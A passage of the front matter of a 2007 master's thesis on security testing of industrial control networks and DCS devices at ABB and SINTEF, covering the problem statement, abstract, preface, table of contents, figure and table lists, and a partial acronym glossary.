Security in Industrial Networks
Jan Tore Sørensen
Master of Science in Communication Technology
Submission date: July 2007
Supervisor:
Svein Johan Knapskog, ITEM
Co-supervisor:
Martin Gilje Jaatun, SINTEF
Kai Hansen, ABB
Norwegian University of Science and Technology
Department of Telematics
Problem Description
A major trend in the automation and power industries is the transition from closed proprietary
network solutions to open TCP/IP protocols running on Ethernet and also on wireless media. The
new requirements on the security of the devices as a consequence of this, is a major challenge for
the industry. It is necessary to create an overall security system for an industrial plant, spanning
from corporate level access management systems, firewalls and update of Windows security
patches to robustness of stack implementation on controllers, motor starters and instruments.
This assignment is focused around how the industrial protocols are implemented and the security
level they offer vs. what is needed. A selection of protocols/devices will be examined in detail and
tested with open source tools (e.g. Nessus) and the purchased tool MuSecurity at the ABB
communication lab in Billingstad (Oslo). This entails analyzing real OPC/SCADA equipment and
examining what damage a hacker could do in a plant.
The outcome of this assignment will be a brief survey on state-of-the-art in SCADA security, a
detailed description of security properties of the examined protocols, and suggested
improvements.
Part of the work will be performed at the ABB global lab for industrial Ethernet located in
Billingstad. The majority of the work will however still be performed in Trondheim under the
supervision of SINTEF ICT.
Assignment given: 21. January 2007
Supervisor: Svein Johan Knapskog, ITEM
Abstract
A major trend in the automation and power industries is the transition from closed proprietary network solutions to open TCP/IP protocols running on Ethernet technologies.
As these industries converge on an all IP platform, new challenges and requirements
on the security level of the devices arise. The introduction of integrated operations in
the oil and gas industry has provided many benefits for the industry, but it has also
opened up the information flow between Distributed Control System (DCS), corporate
and subcontractor’s networks. These developments increase the posibility of cyber security vulnerabilities and incidents in DCS networks. This thesis focus on information
security of DCS devices. We pressent and discuss state of the art technologies for protecting DCS networks. We analyse a DCS protocol and assume the role of an attacker,
using this knowledge to direct attacks against the DCS protocol and devices. We also
perform vulnerability testing on industrial switches and controllers at ABB’s Corporate
Research Center in Oslo, using vulnerability scanner and ”hacker” tools known in the IT
world. We identify security vulnerabilities in these devices and propose mitigation paths
to remove these vulnerabilities.
i
Preface
The work on this project has been a learning experience on many levels. I have been
introduced to the automation world and gained an understanding of how network technology is utilized in Distributed Control System (DCS) networks and industry plants. I
was not aware of the challenges this industry face with regard to information security.
I especially appreciated the practical approach of this thesis and the many challenges it
provided when it came to understanding DCS protocols and equipment.
There are several people that in various ways have contributed to the process of writing
this thesis and the outcome of it.
I would like to thank ABB Corporate Research for allowing me to write this thesis
and providing me with access to their equipment and laboratory in Oslo. I especially
thank Kai Hansen for sharing his insight and expertise, helping me to understand the
automation world and introducing me to ABB.
I would also like to thank SINTEF IKT for providing an office, workspace and laboratory
in Trondheim and for including me socially in their working environment. I address a sincere thanks to Martin Gilje Jaatun for his enthusiasm, guidance and support throughout
this thesis. His door has always been open for me.
Professor Svein Johan Knapskog has also contributed to the outcome of this project, in
particular in the design and structure of the report.
iii
Contents
1 Introduction
1.1 Problem Description and Limitation
1.2 Research Methodology . . . . . . . .
1.3 SCADA and DCS . . . . . . . . . . .
1.4 Outline of the Thesis . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
1
2
2
3
3
2 Background
2.1 Definitions . . . . . . . . . . . . . . . . . . .
2.1.1 Security . . . . . . . . . . . . . . . .
2.2 Dependability . . . . . . . . . . . . . . . . .
2.3 Survivability . . . . . . . . . . . . . . . . .
2.4 Means of Network Protection . . . . . . . .
2.4.1 Intrusion Detection System (IDS) . .
2.4.2 Firewalls . . . . . . . . . . . . . . .
2.4.3 Anti-Virus . . . . . . . . . . . . . . .
2.5 Concepts and Architecture of DCS Systems
2.6 Industrial Network Protocol . . . . . . . . .
2.6.1 The MMS . . . . . . . . . . . . . . .
2.7 Related work . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
5
5
5
6
7
7
8
8
10
10
13
13
27
3 State of the Art
3.1 DCS Networks and Firewalls . . . . . . . .
3.2 Securing DCS Communication . . . . . . .
3.2.1 Enhanced DCS Protocols . . . . . .
3.2.2 Enhancing the DCS Application . .
3.2.3 Wrapping and Tunneling . . . . . .
3.2.4 Key Management in DCS Networks
3.3 IDS for Distributed Control System (DCS)
3.4 DCS Honeynet . . . . . . . . . . . . . . . .
3.5 Recommended Network Topology . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
28
28
31
31
33
33
36
36
37
38
.
.
.
.
.
.
.
.
.
.
.
.
4 Analysis of Manufacturing Message Specification (MMS)
42
4.1 ASN.1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
v
4.2
4.3
4.4
4.5
4.6
BER . . . . . . . . . . . . . . . . . . .
Analysis of MMS Communication . . .
Decoding MMS Communication . . . .
4.4.1 The First PDU . . . . . . . . .
4.4.2 The Second PDU . . . . . . . .
4.4.3 The Third PDU . . . . . . . .
4.4.4 The Fourth PDU . . . . . . . .
4.4.5 The Fifth PDU . . . . . . . . .
4.4.6 The Sixth PDU . . . . . . . . .
4.4.7 The Seventh and Eighth PDU .
Security in MMS . . . . . . . . . . . .
MSS Plugin for Wireshark . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
5 Test Methodology and Tools
5.1 Test Methodology . . . . . . . . . . . . . . . . . . .
5.1.1 Blackbox vs Whitebox Testing . . . . . . . .
5.1.2 Validation Criteria and Result Classification .
5.2 Tools . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.2.1 Nmap . . . . . . . . . . . . . . . . . . . . . .
5.2.2 Nessus . . . . . . . . . . . . . . . . . . . . . .
5.2.3 IP Stack Integrity Checker . . . . . . . . . .
5.2.4 Hydra . . . . . . . . . . . . . . . . . . . . . .
5.2.5 Protos Project Test Suite . . . . . . . . . . .
5.2.6 Scapy . . . . . . . . . . . . . . . . . . . . . .
5.2.7 MuSecurity’s Mu-4000 . . . . . . . . . . . . .
5.2.8 Achilles Security Test Device . . . . . . . . .
6 Equipment
6.1 Moxa EDS-508 . . . . . . . . . . .
6.2 Hirschmann MM3-4TX1-RT . . . .
6.3 Ontime Networks T200 Fieldswitch
6.4 ABBs AC 800 M PM 860 . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
42
44
46
49
55
58
62
65
66
67
68
70
.
.
.
.
.
.
.
.
.
.
.
.
71
71
72
73
73
74
76
76
76
77
78
78
78
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
79
79
80
80
81
7 Test Results
7.1 Test for switches. . . . . . . . . . . . . . . . . . . .
7.2 Moxa EDS-508 . . . . . . . . . . . . . . . . . . . .
7.2.1 Summary of Moxa test results . . . . . . .
7.2.2 Nmap scan . . . . . . . . . . . . . . . . . .
7.2.3 Nessus Scan . . . . . . . . . . . . . . . . . .
7.2.4 Hydra . . . . . . . . . . . . . . . . . . . . .
7.2.5 Mu-4000 Scan . . . . . . . . . . . . . . . . .
7.2.6 Moxa Discussion . . . . . . . . . . . . . . .
7.3 Hirschmann MM3-4TX1-RT . . . . . . . . . . . . .
7.3.1 Summary of Hirschmann MM3 Test Results
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
83
83
84
84
84
86
87
88
89
91
91
vi
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
7.4
7.5
7.3.2 Nmap . . . . . . . . . . . . . . . . . . .
7.3.3 Nessus Scan . . . . . . . . . . . . . . . .
7.3.4 Protos Project Test Suite . . . . . . . .
7.3.5 Mu-4000 . . . . . . . . . . . . . . . . . .
7.3.6 Hirschmann Discussion . . . . . . . . .
Ontime FS200 . . . . . . . . . . . . . . . . . . .
7.4.1 Summary of Ontime FS200 Test Results
7.4.2 Nmap . . . . . . . . . . . . . . . . . . .
7.4.3 FTP Service . . . . . . . . . . . . . . .
7.4.4 Telnet Service . . . . . . . . . . . . . . .
7.4.5 Nessus with Hydra Plugin Scan . . . . .
7.4.6 IP Stack Integrity Checker . . . . . . .
7.4.7 Protos Project Test Suite . . . . . . . .
7.4.8 Mu-4000 Report . . . . . . . . . . . . .
7.4.9 Ontime Discussion . . . . . . . . . . . .
AC 800 M . . . . . . . . . . . . . . . . . . . . .
7.5.1 Summary of AC 800 M Test Results . .
7.5.2 Nmap . . . . . . . . . . . . . . . . . . .
7.5.3 RPC Services . . . . . . . . . . . . . . .
7.5.4 Nessus . . . . . . . . . . . . . . . . . . .
7.5.5 Consequences of a Long URL Attack . .
7.5.6 Achilles Security Scan . . . . . . . . . .
7.5.7 Mu-4000 Reports . . . . . . . . . . . . .
7.5.8 AC 800M Discussion . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
8 A Packet Crafting Attack
8.1 First Packet Crafting Attack . . . . . . . . . . . . . . . . . .
8.1.1 Test Setup . . . . . . . . . . . . . . . . . . . . . . . .
8.1.2 Establishing a TCP Connection . . . . . . . . . . . . .
8.1.3 The Connection Oriented Transport Protocol (COTP)
8.1.4 MMS Communication Context Establishment . . . . .
8.1.5 MMS Data Request . . . . . . . . . . . . . . . . . . .
8.2 Replay of MMS PDUs . . . . . . . . . . . . . . . . . . . . . .
8.3 Setting a Value on the AC 800 M . . . . . . . . . . . . . . . .
8.4 A Simple Buffer Overflow Attempt . . . . . . . . . . . . . . .
8.5 Discussion of the Packet Crafting Attack . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
91
92
93
94
95
97
97
98
99
100
100
102
103
105
105
108
108
108
110
110
111
114
114
115
. . . . . . .
. . . . . . .
. . . . . . .
Connection
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
118
118
118
118
120
122
125
126
127
128
129
9 Discussion
9.1 Plant Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.2 Improvements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.3 Comment on Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
132
. 132
. 138
. 138
10 Further Work
141
10.1 Analysis of DCS Protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . 141
vii
10.2
10.3
10.4
10.5
Testing of DCS Devices. . . . . . . . . . . . . .
Protecting DCS Networks . . . . . . . . . . . .
Constructing MMS Packets . . . . . . . . . . .
Adapting IT Security Tools to DCS Equipment
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
142
143
143
144
11 Conclusion
145
Bibliography
147
Web Resources
155
Appendices
A MMS
A.1 Table of MMS Objects with Description . . .
A.2 ASN.1 MMS . . . . . . . . . . . . . . . . . .
A.2.1 The MMSPDU Module . . . . . . . .
A.2.2 The ConfirmedServiceRequest Module
A.2.3 The MMS Data Module . . . . . . . .
A.2.4 The MMS DataAccessError Module .
A.3 The MMS initiate-Request/Response PDU .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
156
156
159
159
160
162
163
164
B Nessus Report on 193.75.73.3, Moxa Switch
B.1 Open ports (TCP and UDP) . . . . . . . . . . .
B.2 Details of the Vulnerabilities . . . . . . . . . . . .
B.2.1 Problems Regarding : General/TCP . . .
B.2.2 Problems Regarding : HTTPS (443/TCP)
B.2.3 Problems Regarding : Telnet (23/TCP) .
B.2.4 Problems Regarding : www (80/TCP) . .
B.2.5 Problems Regarding : SNMP (161/UDP)
B.2.6 Problems Regarding : General/UDP . . .
B.2.7 Problems Regarding : General/ICMP . .
B.3 Mu 4000 Summary Report . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
167
167
167
167
169
170
171
172
174
174
174
C Nessus Report on 193.75.73.8, Hirschmann Switch
C.1 Open Ports (TCP and UDP) . . . . . . . . . . . . .
C.2 Details of the Vulnerabilities . . . . . . . . . . . . . .
C.2.1 Problems Regarding : General/TCP . . . . .
C.2.2 Problems Regarding : NTP (123/UDP) . . .
C.2.3 Problems Regarding : General/ICMP . . . .
C.2.4 Problems Regarding : General/UDP . . . . .
C.3 Mu 4000 Summary Report . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
178
178
178
178
181
181
182
182
.
.
.
.
.
.
.
D Nessus Report on 193.75.73.20, Ontime FS 200
188
D.1 Open Ports (TCP and UDP) . . . . . . . . . . . . . . . . . . . . . . . . . 188
viii
D.2 Details of the Vulnerabilities . . . . . . . . . . . .
D.2.1 Problems Regarding : General/TCP . . .
D.2.2 Problems Regarding : FTP (21/TCP) . .
D.2.3 Problems Regarding : SNMP (161/UDP)
D.2.4 Problems Regarding : Telnet (23/TCP) .
D.2.5 Problems Regarding : general/ICMP . . .
D.2.6 Problems Regarding : General/UDP . . .
D.3 Mu 4000 Summary Report . . . . . . . . . . . . .
E Nessus Report on 172.16.0.20, ABB AC 800 M
E.1 Open ports (TCP and UDP) . . . . . . . . . . .
E.2 Details of the Vulnerabilities . . . . . . . . . . . .
E.2.1 Problems Regarding : General/TCP . . .
E.2.2 Problems Regarding : HTTP (80/TCP) .
E.2.3 Problems Regarding : General/ICMP . .
E.2.4 Problems Regarding : General/UDP . . .
E.2.5 Problems Regarding : NTP (123/UDP) .
E.3 Mu 4000 Summary Report . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
188
188
190
193
195
197
198
198
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
201
. 201
. 201
. 201
. 203
. 207
. 208
. 208
. 208
F AC 800 M Stack Vulnerability Summary Report
F.1 Test Configuration Summary . . . . . . . . . . . .
F.1.1 Vendor Control System . . . . . . . . . . .
F.2 Device Under Test . . . . . . . . . . . . . . . . . .
F.3 Test Case ResultSummary . . . . . . . . . . . . . .
F.3.1 ARP Flood . . . . . . . . . . . . . . . . . .
F.3.2 TCP SYN Flood . . . . . . . . . . . . . . .
F.3.3 TCP/IP Land Attack . . . . . . . . . . . .
F.3.4 TCP Fragmentation Fuzzer . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
ix
213
214
214
215
215
215
216
217
218
List of Figures
2.1
2.2
2.3
2.4
2.5
2.6
3.1
3.2
3.3
4.1
4.2
4.3
Laprie‘s Taxonomy of dependability [29] . . . . . . . . . . . . . . . . . .
An abstract view of an automation network process . . . . . . . . . . .
An example of a Distributed Control System implementation [45]. . . .
The VMD model depicting communication between an control builder
with an MMS client and a device running an MMS server [48] . . . . . .
A Confirmed Service state machine as seen by the MMS server (Service
Responder) using the PDUs numbered in the list above [7]. The RejectPDU is not included in this figure. . . . . . . . . . . . . . . . . . . . . .
The MMS communication stack specified according to all seven layers of
International Standards Organizations (ISO)s OSI communication stack
. 6
. 11
. 12
. 15
. 18
. 19
Comparison chart for the enumerated DCS segregation architectures listed
above as proposed by the NISCC. . . . . . . . . . . . . . . . . . . . . . . . 29
U.S Department of Homeland security Control Systems security programs
recommendation for Defense in depth architecture for SACDA networks
from the NIST guide [45]. . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
The various networks are depicted as clouds to provide simplified view of
the architecture depicted in figure 3.2 . . . . . . . . . . . . . . . . . . . . 41
The MMS communication stack as Wireshark detects it. The figure does
not show the payload of COTP, which is the BER encoded ASN.1 structures of MMS. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
The picture illustrates MMS communication between an ABB AC 800 M
controller and a client workstation enumerating the intercepted PDUs. As
seen in the picture the packet sequence repeats itself. . . . . . . . . . . . . 47
Screendump from ABB’s Control Builder application depicting the program tree hierarchy. We wish the reader to note the Application 1 string
in the program hierarchy. . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
5.1
The rack mountable Mu-4000 device manufactured by MuSecurity . . . . 74
6.1
A collection of three Moxa Industrial Ethernet switches. The EDS-508 is
the leftmost switch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
A Hirschmann MM3-4TX1-RT industrial ethernet switch. . . . . . . . . . 80
6.2
x
6.3
6.4
An Ontime industrial ethernet switch. . . . . . . . . . . . . . . . . . . . . 81
ABB’s AC 800 M controller with two power supplies and an I/O unit. . . 82
7.1
The lab setup for testing the primary service of switches. . . . . . . . . . 84
8.1
The lab setup for ”proof-of-concept” packet crafting attack. . . . . . . . . 119
9.1
9.2
A general DCS plant network [28]. . . . . . . . . . . . . . . . . .
A workstation on the corporate network is accessing information
inside the DCS network [28]. . . . . . . . . . . . . . . . . . . . .
A redundant network and controller architecture [28]. . . . . . .
9.3
xi
. . . . . 133
stored
. . . . . 135
. . . . . 137
List of Tables
2.1
2.2
The basic methods (services) inherited from the VMD object [21]. . . . . 17
Mapping of ACSE primitives to the ISO presentation layer services [5]. . . 20
3.1
The network layers and common security protocols [19]. . . . . . . . . . . 34
4.1
Description of the BER identifier. The seventh and sixth bits are combined to denote the class of the ASN.1 tag. The sixth bit of the identifier
indicates whether the represented data type is a primitive or constructed
one. The remaining X’ed bits of the identifier represent a class number
which is associated with a specific data type. . . . . . . . . . . . . . . . . 43
7.1
The table summarizes the test results from the Moxa EDS-508 switch
using the classification defined in section 5.1.2. . . . . . . . . . . . . . .
7.2 The table displays an overview of which tools detected which services and
also indicates if a service is consider vulnerable by the tools. . . . . . . .
7.3 The table summarizes the test results from the Hirschmann MM3-4TX1RT switch using the classification defined in section 5.1.2. . . . . . . . .
7.4 The table displays the timeout- and delay parameters used in the Mu-4000
test of the Hirschmann switch. . . . . . . . . . . . . . . . . . . . . . . .
7.5 The table displays an overview of which tools detected which services and
also indicates if a service is consider vulnerable by the tools. . . . . . . .
7.6 The table summarizes the test results from the Ontime FS200 switch using
the classification defined in section 5.1.2. . . . . . . . . . . . . . . . . . .
7.7 The table displays an overview of which tools detected which services
and also indicates if a service is consider vulnerable by the tools. The
abbreviation TN is a abbreviation for the Telnet and SNMP is a label for
both the SNMP community name test and the Protos test suite. . . . .
7.8 The table summarizes the test results from the AC 800M controller using
the classification defined in section 5.1.2. . . . . . . . . . . . . . . . . . .
7.9 The table displays how the timeout, delay parameters relate to the number
of errors reported by the Mu-4000 on the AC 800 M. . . . . . . . . . . .
7.10 The table displays an overview of which tools detected which services and
also indicates if a service is consider vulnerable by the tools. . . . . . . .
xii
. 85
. 89
. 92
. 94
. 96
. 97
. 106
. 109
. 115
. 116
11.1 The table displays test results from all device tests in this thesis using the
classification defined in section 5.1.2. . . . . . . . . . . . . . . . . . . . . . 145
A.1 The 15 MMS Objects and a description of their intended use . . . . . . . 158
F.1
F.2
F.3
F.4
F.5
The Configuration of the VCS’s Network Interface Cards. . . . . . .
Monitored OPC Tags and Event Conditions. . . . . . . . . . . . . .
The Configuration of the Achilles Server’s Network Interface Cards.
Device Under Test Definition. . . . . . . . . . . . . . . . . . . . . . .
The Configuration of the DUT’s Network Interface Cards. . . . . . .
xiii
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
214
214
215
215
215
Acronyms
ACSE Association Control Service Element ACSE is the OSI method for establishing
a call between two application programs. ACSE checks the identities and contexts
of the application entities, and could apply an authentication security check.
ASN.1 Abstract Syntax Notation One ASN.1 is a formal language for the abstract
(platform-independent) description of messages exchanged between machines. It
is used to encode and decode messages in a wide range of applications, including
SNMP. Objects such as integers are encoded in a manner called tag- length-value
(TLV) that is independent of any processor architecture, such as big or little endian.
The tag indicates the object type, the length is the object size, and the value is
the encoded object. ASN.1 also allows structured (or nested) definitions
ARP Address Resolution Protocol ARP is the standard method for finding a host’s
hardware address when only its network layer address is known. Due to the overwhelming prevalence of IPv4 and Ethernet, ARP is primarily used to translate IP
addresses to Ethernet MAC addresses.
BER Basic Encoding Rules BER is a set of rules for encoding ASN.1 objects into a
sequence of octets. It is a self-identifying and self-delimiting transfer syntax for
data structures described in ASN.1 notations.
COTP Connection Oriented Transport Protocol COTP is the International Standards
Organizations (ISO) connection oriented transport protocol in the Open System
Interconnection (OSI) modell. COTP is packet oriented, it transports packets of
data from one user to the other, so the receiver will get exactly the same data
boundaries as the sender transmitted. COTP uses the concept of TSAPs instead
of ports.
DCS Distributed Control System DCS is a big Progammable Logic Controller (PLC)
that is typically networked to other controllers, PLCs or field devices. It is designed to have a series of decentralised control centres which have some degree of
autonomy, but are still integrated into a whole system (except in an emergency
shutdown). DCS typically has a workstation to interface with the controller and
can be very expensive due to built-in safty and fail-over features.
xiv
DMZ De-Militarized Zone DMZ is a network area or subnetwork that sits between an
organization’s internal network and an external network, usually the Internet. The
point of a DMZ is that connections from the internal and the external network to
the DMZ are permitted, whereas connections from the DMZ are only permitted to
the external network-hosts in the DMZ may not connect to the internal network.
The DMZ is typically used for connecting servers that need to be accessible from
the outside world, such as e-mail, web and DNS servers.
DNP3 Distributed Network Protocol DNP3 is a set of communications protocols used
between components in process automation systems. it was developed to facilitate
communications between various types of data acquisition and control equipment
(e.g. SCADA systems). DNP3 provides multiplexing, data fragmentation, error
checking, link control, prioritization, and layer 2 addressing services for user data.
DOS Denial-Of-Service DOS is a type of attack on a network that is designed to bring
the network to its knees by flooding it with useless traffic.
FTP File Transfer Protocol FTP is used on the Internet for exchanging files. FTP uses
the Internet’s TCP/IP protocols to enable data transfer. FTP is most commonly
used to download a file from a server using the Internet or to upload a file to a
server
HTTP HyperText Transfer Protocol HTTP is the protocol used to transfer data over
the World Wide Web. That’s why all Web site addresses begin with ”http://”.
Whenever you type a URL into your browser and hit Enter, your computer sends an
HTTP request to the appropriate Web server. The Web server, which is designed
to handle HTTP requests, then sends to you the requested HTML page.
ICCP Inter-Control Center Communications Protocol ICCP provides data exchange
over wide area networks (WANs) between control centers in process automation
systems.
ICMP Internet Control Message Protocol ICMP an extension to the Internet Protocol
(IP) defined by RFC 792. ICMP supports packets containing error, control, and
informational messages. The PING command, for example, uses ICMP to test an
Internet connection.
ICS Industrial Control System ICS is a general term that encompasses seceral types
of control systems, including supervisory control and data acquisition (SCADA)
systems, distributed control systems (DCS) and other smaller control system configurations such as skip-mounted programable Logic controllers (PLC) often found
in the industrial sector and critical infrastructures.
IDS Intrusion Detection System IDS monitors any network traffic and logs any possible malicious activity. Unlike a standard Firewall, IDS can differentiate between
friendly and unfriendly activity.
IP Internet Protocol IP specifies the format of packets, also called datagrams, and the
xv
addressing scheme. Each entity is assigned a unique 32-bit number, an IP address,
which identifies a computer in an IP network. Most networks combine IP with a
higher- level protocol called Transport Control Protocol (TCP), which establishes
a virtual connection between a destination and a source.
ISO International Standards Organizations ISO is a worldwide federation of national
standards bodies from some 140 countries, one from each country. It does not
create standards but provide a means of verifying that a proposed standard has
met certain requirements for due process, consensus, and other criteria by those
developing the standard.
LAN Local Area Network LAN is a computer network that links personal computers
and workstations within a limited geographic area, such as a building or several
contiguous buildings. Linked by cables such as coaxial cables or twisted pair, the
computers connected to the LAN can access resources on other computers and
